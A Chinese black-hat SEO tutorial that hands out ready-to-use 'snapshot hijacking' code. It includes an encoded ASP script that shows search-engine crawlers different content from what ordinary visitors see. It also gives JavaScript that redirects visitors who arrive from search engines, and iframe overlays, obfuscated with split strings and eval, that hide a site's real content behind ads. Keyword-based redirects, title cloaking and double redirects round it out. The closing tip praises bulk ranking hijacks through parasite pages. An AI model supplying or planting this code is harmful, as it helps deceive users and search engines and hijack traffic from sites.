通常我们看到的是php或者asp的快照劫持代码,很多人对html的跳转情有独钟,用js来实现是最合适不过的事情了,看完这篇文章,相信大家以后再遇到类似的劫持情况也就能轻松应对了,只不过是代码加密而已。今天,站长资源网(zuyuan22.com)分享的内容为《黑帽SEO教程(javascript快照劫持跳转代码)》。希望对大家有所帮助。
一、网站快照劫持代码
<%@ LANGUAGE = VBScript.Encode %><% Dim agent agent=Request.ServerVariables("http_user_agent") If instr(agent,"Baiduspider") > 0 or instr(agent,"baidubrowser") > 0 or instr(agent,"Sogou") > 0 or instr(agent,"googlebot") > 0 or instr(agent,"Sosospider") > 0 then linkurl="http://这里填网址" *快照网址 Function GetBody(Url) Dim objXML On Error Resume Next Set objXML = CreateObject("Microsoft.XMLHTTP") With objXML .Open "Get", Url, False, "", "" .Send GetBody = .ResponseBody End With GetBody=BytesToBstr(GetBody,"GB2312") Set objXML = Nothing End Function Function BytesToBstr(strBody,CodeBase) dim objStream set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write strBody objStream.Position = 0 objStream.Type = 2 objStream.Charset = CodeBase BytesToBstr = objStream.ReadText objStream.Close set objStream = nothing End Function response.write GetBody(linkurl) End if%> <script LANGUAGE="Javascript"> var s=document.referrer if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 ) location.href="这里填跳转地址"; </script>
二、上方显示广告,下方显示原站内容
document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='100%' height='7350' allowTransparency src=http://这里填网址></iframe>");
三、全屏覆盖只能看到广告
var ss = '<center id="showcloneshengxiaon"><ifr'+'ame scrolling="no" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14'+'00" height="50'+'50" src="http://这里填网址"></iframe></center>'; eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');"); try{ setInterval(function(){ try{ document.getElementById("div"+"All").style.display="no"+"ne"; }catch(e){} for(var i=0;i<document.body.children.length;i++){ try{ var tagname = document.body.children[i].tagName; var myid = document.body.children[i].id; if(myid!="iconDiv1" && myid!="showcloneshengxiaon"){ // if(tagname!="center"){ document.body.children[i].style.display="non"+"e"; //} } }catch(e){} } },100); }catch(e){}
四、搜索引擎来路直接跳JS代码
document.writeln("<script LANGUAGE="Javascript">"); document.writeln("var s=document.referrer"); document.writeln("if(s.indexOf("baidu")>0 || s.indexOf("sogou")>0 || s.indexOf("soso")>0 ||s.indexOf("sm")>0 ||s.indexOf("uc")>0 ||s.indexOf("bing")>0 ||s.indexOf("yahoo")>0 ||s.indexOf("so")>0 )"); document.writeln("location.href="这里填网址";"); document.writeln("</script>");
五、根据不同关键词跳转不同的网址代码
var title = window["document"]["title"]; title = decodeURI(title); if(title.indexOf("u9ed1u5e3d") > -1){ jumpto("http://www.ziyuan22.com/"); //根据上方的Unicode转码关键词黑帽跳转到这个网址 } else if(title.indexOf("转码关键词") > -1){ jumpto("http://这里填网址"); } else if(title.indexOf("转码关键词") > -1){ jumpto("http://这里填网址"); } else if(title.indexOf("转码关键词") > -1){ jumpto("http://这里填网址"); } else { jumpto("http://这里填无关键词跳转网址"); }
六、打开网站标题正常,快照标题异常
<title>转码后的标题,用于劫持快照</title>
<script>document.title='网站打开后浏览器显示的标题';</script>
再添加一个判断搜索引擎跳转的JS配合使用
七、打开直接跳,不跳蜘蛛
function jumurl(){ window.location.href = 'http://这里填网址' } setTimeout(jumurl,2000); jumurl();
八、双跳,打开跳两次
ar d=document.referrer; if (d.indexOf("link?url")>0 || d.indexOf("%A8%B1")>0 || d.indexOf("%9F%8E")>0){ self.location="http://这里填网址"; opener.location.href='http://这里是双跳网址'; }
总结:任何东西都是死的,要做到活学活用,有个朋友把两个东西结合起来用,效果非常好。他的手法是利用首页快照劫持,判断如果是蜘蛛,返回寄生虫页面,生成/index.php?随机 /的伪首页文件,利用首页权重批量劫持排名。如果直接打开首页又是正常返回网站内容的。所以任何东西都需要自己的思路去创新,才能第一个吃螃蟹。